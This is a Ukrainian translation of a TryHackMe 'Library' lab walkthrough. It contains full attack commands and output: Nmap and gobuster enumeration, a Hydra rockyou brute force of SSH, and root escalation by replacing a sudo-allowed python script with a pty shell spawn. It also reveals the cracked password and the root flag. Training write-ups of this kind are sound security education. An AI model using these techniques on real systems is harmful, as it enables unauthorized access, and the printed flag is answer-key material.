Library — Огляд TryHackMe

pic

Нам потрібно знайти файли user.txt та root.txt.

Щоб зробити доступ до машини зручнішим, я призначив домен lib.thm IP-адресі цільової машини, відредагувавши файл /etc/hosts Це забезпечує, що будь-який запит до lib.thm резолюється на IP цілі без використання DNS.

Початкова перевірка

Для початку запустимо машину, а потім виконаємо сканування за допомогою Nmap, щоб дізнатися, які сервіси та порти відкриті.

sudo nmap -sCV lib.thm  
Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-05 01:42 EST  
Nmap scan report for lib.thm (10.10.58.48)  
Host is up (0.52s latency).  
Not shown: 998 closed tcp ports (reset)  
PORT STATE SERVICE VERSION  
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
| 2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)  
| 256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)  
|_ 256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)  
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))  
|_http-server-header: Apache/2.4.18 (Ubuntu)  
| http-robots.txt: 1 disallowed entry   
|_/  
|_http-title: Welcome to Blog - Library Machine  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 106.88 seconds

Здається, що порти 22/tcp та 80/tcp відкриті. Під час перегляду домашньої сторінки ми знайшли ім’я користувача meliodas.

Запускаємо gobuster, щоб перевірити, чи є приховані папки та директорії.

gobuster dir -u http://10.10.58.48/ -w /usr/share/wordlists/dirb/common.txt   
===============================================================  
Gobuster v3.6  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
===============================================================  
[+] Url: http://10.10.58.48/  
[+] Method: GET  
[+] Threads: 10  
[+] Wordlist: /usr/share/wordlists/dirb/common.txt  
[+] Negative Status codes: 404  
[+] User Agent: gobuster/3.6  
[+] Timeout: 10s  
===============================================================  
Starting gobuster in directory enumeration mode  
===============================================================  
/.hta (Status: 403) [Size: 290]  
/.htaccess (Status: 403) [Size: 295]  
/.htpasswd (Status: 403) [Size: 295]  
/images (Status: 301) [Size: 311] [--> http://10.10.58.48/images/]  
/index.html (Status: 200) [Size: 5439]  
/robots.txt (Status: 200) [Size: 33]  
/server-status (Status: 403) [Size: 299]  
Progress: 4614 / 4615 (99.98%)  
===============================================================  
Finished  
===============================================================

Ми не знайшли багато інформації. Папка з зображеннями містить кілька картинок, але на цьому все. Однак файл /robots.txt згадує rockyou. Схоже, що нам потрібно використати цей словник для брутфорсу.

Оскільки ми вже маємо ім’я користувача, чому б не спробувати провести брутфорс для SSH за допомогою словника rockyou та подивитися, чи зможемо ми щось отримати?

hydra -l meliodas -P /usr/share/wordlists/rockyou.txt 10.10.58.48 ssh   
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-05 02:26:48  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[WARNING] Restorefile (you have 10 seconds to abort...

(use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task  
[DATA] attacking ssh://10.10.58.48:22/  
[STATUS] 81.00 tries/min, 81 tries in 00:01h, 14344321 to do in 2951:31h, 13 active  
[22][ssh] host: 10.10.58.48 login: meliodas password: iloveyou1  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 2 final worker threads did not complete until end.  
[ERROR] 2 targets did not resolve or could not be connected  
[ERROR] 0 target did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-05 02:29:55

Ми отримали пароль. Давайте увійдемо.

ssh [email protected]   
The authenticity of host 'lib.thm (10.10.58.48)' can't be established.  
ED25519 key fingerprint is SHA256:Ykgtf0Q1wQcyrBaGkW4BEBf3eK/QPGXnmEMgpaLxmzs.  
This key is not known by any other names  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added 'lib.thm' (ED25519) to the list of known hosts.  
[email protected]'s password:   
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)  

 * Documentation: https://help.ubuntu.com  
 * Management: https://landscape.canonical.com  
 * Support: https://ubuntu.com/advantage  
Last login: Sat Aug 24 14:51:01 2019 from 192.168.15.118  
meliodas@ubuntu:~$ id  
uid=1000(meliodas) gid=1000(meliodas) groups=1000(meliodas),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)  
meliodas@ubuntu:~$

Ми отримали наш користувацький флаг.

Підвищення привілеїв

Давайте перевіримо, чи надав користувач будь-які права root для якихось файлів.

sudo -l   
Matching Defaults entries for meliodas on ubuntu:  
 env_reset:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  

User meliodas may run the following commands on ubuntu:  
 (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
meliodas@ubuntu:~$ cat bak.py  
#!/usr/bin/env python  
import os  
import zipfile  

def zipdir(path, ziph):  
 for root, dirs, files in os.walk(path):  
 for file in files:  
 ziph.write(os.path.join(root, file))  

if __name__ == '__main__':  
 zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)  
 zipdir('/var/www/html', zipf)  
 zipf.close()

Здається, що скрипт bak.py можна виконувати з правами root, але користувач meliodas не може його редагувати. Давайте просто видалимо цей файл і створимо новий з таким самим ім’ям. Потім додамо туди код для отримання доступу до shell з правами root.

meliodas@ubuntu:~$ sudo -l   
Matching Defaults entries for meliodas on ubuntu:  
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/:/sbin\:/bin\:/snap/bin  

User meliodas may run the following commands on ubuntu:  
 (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py  
meliodas@ubuntu:~$ rm bak.py   
rm: remove write-protected regular file 'bak.py'? y  
meliodas@ubuntu:~$ touch bak.py  
meliodas@ubuntu:~$ echo 'import pty;pty.spawn("/bin/bash")' > bak.py  
meliodas@ubuntu:~$ sudo python /home/meliodas/bak.py  
root@ubuntu:~# whoami  
root  
root@ubuntu:~# ls  
bak.py user.txt  
root@ubuntu:~# cd /root/  
root@ubuntu:/root# ls  
root.txt  
root@ubuntu:/root# cat root.txt   
e8c8c6c256c35515d1d344ee0488c617  
root@ubuntu:/root#

root.txt

Якщо вам сподобався мій опис, не забудьте підписатися на оновлення. Не забудьте залишити коментар, що ви думаєте про цей опис.

Зв'язатися зі мною: x.com

Перекладено з: Library — TryHackMe Walkthrough

Leave a Reply

Your email address will not be published. Required fields are marked *